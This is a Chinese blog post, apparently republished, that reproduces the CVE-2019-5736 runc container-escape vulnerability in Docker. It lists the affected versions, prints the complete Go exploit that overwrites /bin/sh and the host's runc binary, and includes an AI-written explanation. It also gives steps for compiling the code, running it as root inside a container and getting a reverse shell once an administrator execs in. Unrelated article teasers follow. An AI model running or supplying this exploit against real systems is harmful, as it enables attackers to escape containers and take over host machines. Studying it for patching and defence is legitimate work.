记一次docker逃逸漏洞的复现

news2025/1/13 15:34:59

公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习

利用条件


1.Docker Version <18.09.2

2.RunC Version <1.0-rc6

3.攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限

利用原理


这里的问题存在于,当我们去进入一个容器的时候,会去调用Runc执行一些相关的程序,这个版本的Runc允许我们覆盖其执行的二进制文件,从而执行了我们写入的命令造成了容器逃逸。

复现过程


poc如下

 

1.package main

2.

3.// Implementation of CVE-2019-5736

4.// Created with help from @singe, @_cablethief, and @feexd.

5.// This commit also helped a ton to understand the vuln

6.// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d

7.import (

8."fmt"

9."io/ioutil"

10."os"

11."strconv"

12."strings"

13."flag"

14.)

15.

16.

17.var shellCmd string

18.

19.func init() {

20.flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")

21.flag.Parse()

22.}

23.

24.func main() {

25.// This is the line of shell commands that will execute on the host

26.var payload = "#!/bin/bash \n" + shellCmd

27.// First we overwrite /bin/sh with the /proc/self/exe interpreter path

28.fd, err := os.Create("/bin/sh")

29.if err != nil {

30.fmt.Println(err)

31.return

32.}

33.fmt.Fprintln(fd, "#!/proc/self/exe")

34.err = fd.Close()

35.if err != nil {

36.fmt.Println(err)

37.return

38.}

39.fmt.Println("[+] Overwritten /bin/sh successfully")

40.

41.// Loop through all processes to find one whose cmdline includes runcinit

42.// This will be the process created by runc

43.var found int

44.for found == 0 {

45.pids, err := ioutil.ReadDir("/proc")

46.if err != nil {

47.fmt.Println(err)

48.return

49.}

50.for _, f := range pids {

51.fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")

52.fstring := string(fbytes)

53.if strings.Contains(fstring, "runc") {

54.fmt.Println("[+] Found the PID:", f.Name())

55.found, err = strconv.Atoi(f.Name())

56.if err != nil {

57.fmt.Println(err)

58.return

59.     }

60.    }

61.   }

62.  }

63.

64.// We will use the pid to get a file handle for runc on the host.

65.var handleFd = -1

66.for handleFd == -1 {

67.// Note, you do not need to use the O_PATH flag for the exploit to work.

68.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)

69.if int(handle.Fd()) > 0 {

70.handleFd = int(handle.Fd())

71.   }

72.  }

73.fmt.Println("[+] Successfully got the file handle")

74.

75.// Now that we have the file handle, lets write to the runc binary and overwrite it

76.// It will maintain it's executable flag

77.for {

78.writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)

79.if int(writeHandle.Fd()) > 0 {

80.fmt.Println("[+] Successfully got write handle", writeHandle)

81.fmt.Println("[+] The command executed is" + payload)

82.writeHandle.Write([]byte(payload))

83.return

84.   }

85.  }

86. }

这是gpt对这段代码的讲解

 

1.这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。

2.

3.代码的主要逻辑如下:

4.

5.导入所需的包和定义全局变量。

6.在init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。

7.在main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。

8.创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。

9.循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。

10.使用PID获取runc进程的文件句柄handleFd。

11.使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。

12.程序结束。

13.

14.这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。

首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行,
这里需要root权限。这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell

图片

没看够~?欢迎关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065447.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【已解决】Pyecharts折线图,只有坐标轴没有折线数据

【已解决】Pyecharts折线图&#xff0c;只有坐标轴没有折线数据 1、问题复现2、原因3、问题解决 1、问题复现 在做简单的数据通过 Pyecharts 生成折现图的时候&#xff0c;一直只有坐标轴没有折线数据&#xff0c;但是代码一直看不出问题&#xff0c;代码如下&#xff1a; im…

机器人革命:你一定没见过这些全新的机器人技术!

原创 | 文 BFT机器人 01 通过机器人协作推进危险测绘 在危险测绘领域&#xff0c;研究人员开发了一种合作方案&#xff0c;利用地面和空中机器人对污染区域进行危险测绘。该团队通过使用异构覆盖控制技术提高了密度图的质量并降低了误差。与同质替代方案相比&#xff0c;该策…

win10搭建Selenium环境+java+IDEA(3)

这里主要对前面的maven和selenium做补充说明&#xff0c;以及更新一些pom文件下载依赖的问题。 IDEA里面&#xff0c;如果你创建的工程是maven工程文件&#xff0c;那么就会有一个pom.xml文件&#xff0c;可以在这个网站&#xff1a;https://mvnrepository.com/搜索依赖&#…

聚焦酷开科技智能大屏OS Coolita,打造智能推荐服务能力全景

2023年9月18日—22日&#xff0c;科学和教育计算机协会The Association for Computing Machinery&#xff08;ACM&#xff09;在新加坡举办了为期5天的ACM RecSys 2023&#xff0c;云集了各大品牌的科技巨头技术人员&#xff0c;还有中外各大高等学府学者参与其中&#xff0c;共…

EV证书与OV证书的区别

在保护网站和用户数据的过程中&#xff0c;选择适当的SSL证书至关重要。EV&#xff08;Extended Validation&#xff09;证书和OV&#xff08;Organization Validation&#xff09;证书是SSL证书的两种常见类型&#xff0c;它们在验证过程和信任指示方面有着显著的区别。让我们…

除静电离子风嘴的工作原理及应用

除静电离子风嘴是一种常见的除静电设备&#xff0c;它的工作原理是通过产生大量的负离子来中和物体表面的静电电荷&#xff0c;从而达到除静电的目的。 除静电离子风嘴内部装有一个电离器&#xff0c;电离器会将空气中的氧气分子或水分子电离成正、负离子。这些带电的离子在空…

SVN安装教程

SVN安装教程 1. 下载安装2. 汉化3. SVN配置 1. 下载安装 百度网盘下载&#xff1a; 链接&#xff1a;SVN百度网盘下载 2. 汉化 双击汉化包 点击【下一步】 选中【Confiqure TortoiseSVN to use this language】 点击【完成】 返回桌面&#xff0c;任意位置右击&#xff0…

【AI视野·今日Robot 机器人论文速览 第四十八期】Thu, 5 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Thu, 5 Oct 2023 Totally 32 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers LanguageMPC: Large Language Models as Decision Makers for Autonomous Driving Authors Hao Sha, Yao Mu, Yuxuan Jiang, Li…

Windows中的用户帐户与组账户

01 用户帐户 1.1 简介 用户帐户是对计算机用户身份的标识&#xff0c;本地用户帐户、密码存在本地计算机上&#xff0c;只对本机有效&#xff0c;存储在本地安全帐户数据库 SAM 中。 文件路径&#xff1a;C:\Windows\System32\config\SAM &#xff0c;对应的进程&#xff1a;…

力扣 -- 132. 分割回文串 II

解题步骤&#xff1a; 参考代码&#xff1a; class Solution { public:int minCut(string s) {int ns.size();//保存s的所有子串是否是回文串的信息的哈希表vector<vector<bool>> hash(n,vector<bool>(n));for(int in-1;i>0;i--){for(int ji;j<n;j){i…

干洗店软件,洗鞋店收银管理系统小程序app

闪站侠洗衣洗鞋店管理系统是一款专业的洗护管理软件&#xff0c;它集收银系统,会员卡管理系统&#xff0c;财务报表系统等强大功能为一身&#xff0c;系统界面简洁优美&#xff0c;操作直观简单。系统为广大干洗店&#xff0c;洗衣店提供了成本分析&#xff0c;利润分析&#x…

【RabbitMQ 实战】09 客户端连接集群生产和消费消息

一、部署一个三节点集群 下面的链接是最快最简单的一种集群部署方法 3分钟部署一个RabbitMQ集群 上的的例子中&#xff0c;没有映射端口&#xff0c;所以没法从宿主机外部连接容器&#xff0c;下面的yml文件中&#xff0c;暴露了端口。 每个容器应用都映射了宿主机的端口&…

jupyter notebook代码自动换行,超过一行长度自动换行,不用左右滑动

效果如下: 步骤 1.打开cmd&#xff0c;输入jupyter --config-dir找到jupyter notebook的位置 2.打开jupyter所在位置&#xff0c;进入nbconfig文件夹 3.打开notebook.json 4.输入以下代码 "MarkdownCell": {"cm_config": {"lineWrapping": t…

寻找下个图文爆款“潜力股”!图文返现热潮涌动,看看他们怎么做?

近半年&#xff0c;抖音电商挂车图文日均发布次数增长5倍&#xff0c;日均GMV增长10倍以上……凭借着低成本、高转化、快变现等特点&#xff0c;图文带货已成为抖音电商带货体裁的“新热门”&#xff0c;且流量规模及成交效率仍在持续增长。 为鼓励电商作者把握机遇、积极创作…

3D目标检测实战 | KITTI数据集可视化详解(附Python实现)

目录 1 概述2 点云可视化2.1 原始点云2.2 3D检测框点云2.3 点云鸟瞰视图BEV 3 图像可视化3.1 原始图像3.2 2D检测框图像3.3 3D检测框图像3.4 点云-图像对齐 1 概述 KITTI数据集是一个广泛被用于研究和开发自动驾驶和计算机视觉算法的公开数据集&#xff0c;其数据格式详解请参…

[HNCTF 2022 WEEK2]easy_unser - 反序列化+wakeup绕过+目录绕过

题目代码&#xff1a; <?php include f14g.php;error_reporting(0);highlight_file(__FILE__);class body{private $want,$todonothing "i cant get you want,But you can tell me before I wake up and change my mind";public function __construct($want){…

一文讲清楚网络安全是什么?网络安全工程师需要学什么?就业前景如何?

前言 什么是网络安全&#xff1f; 网络安全是指网络系统的硬件、软件及其系统中的数 据受到保护&#xff0c;不因偶然的或者恶意的原因而遭受到破坏、 更改、泄露&#xff0c;系统连续可靠正常地运行&#xff0c;网络服务不中断。 网络安全是指通过各种技术、措施和行为来保…

解决Ubuntu系统字体太小的问题

使用一个工具即可 sudo apt install gnome-tweaks安装成功之后&#xff1a; 在终端输入下面的命令 gnome-tweaks 这里可以将缩放比例调大&#xff0c;整个字体就放大了&#xff01;

MySQL数据库入门到精通——进阶篇(2)

黑马程序员 MySQL数据库入门到精通——进阶篇&#xff08;2&#xff09; 1. SQL优化1.1 插入数据1.2 主键优化1.3 order by优化1.4 group by优化1.5 limit优化1.6 count优化1.7 update优化 2. 视图2.1 视图-介绍及基本语法2.2 视图-检查选项(cascaded)2.3 视图-检查选项(local)…

MATLAB学习

前言 MATLAB是“MATrix LABoratory”的缩写&#xff0c;它是由美国Mathworks公司于1984年推出的一种科学计算软件。 语言及其特点 1.功能强大 (1)运算功能强大。MATLAB是以复数矩阵为基本编程单元的程序设计语言其强大的运算功能使其成为世界顶尖的数学应用软件之一。 (2)功能…